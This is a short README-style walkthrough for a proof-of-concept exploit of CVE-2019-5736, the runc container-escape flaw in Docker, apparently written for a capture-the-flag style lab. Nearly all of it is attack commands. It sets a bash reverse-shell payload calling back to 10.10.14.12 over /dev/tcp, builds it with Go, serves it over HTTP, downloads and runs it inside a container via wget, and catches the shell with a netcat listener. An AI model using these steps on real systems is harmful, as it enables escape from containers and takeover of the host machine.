CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

介绍

🖥️ -k4u5h41-
#️⃣ CVE-2019-5736


## Usage :

machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit (CVE-2019-5736).
Download file main.go, change the payload in the file into:

	  var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.10.14.12/1234 0>&1"

After that, run:

	  go build main.go

Host a http server :

	  python3 -m http.server
    
![image](https://user-images.githubusercontent.com/66146701/125002413-5294ba80-e001-11eb-912a-de75e29807bf.png)

Then open 3 Terminals as below : 

![image](https://user-images.githubusercontent.com/66146701/125002553-b4552480-e001-11eb-9ed4-1f78687aa9e9.png)



	Terminal 1
	  sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
      wget http://10.10.14.12/main
      chmod +x main
      ./main
    
	Terminal 2
	  sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
    
	Terminal 3
	  nc -nlvp 1234
    
once you run the ./main in the first ssh terminal immediately run second command in the second ssh terminal, then you will get the netcat reverse shell in the terminal 3

![image](https://user-images.githubusercontent.com/66146701/125002567-bcad5f80-e001-11eb-924d-9e6cf6a50199.png)

![image](https://user-images.githubusercontent.com/66146701/125001720-c2a24100-dfff-11eb-8a08-9a78f1b20474.png)

文件快照

备注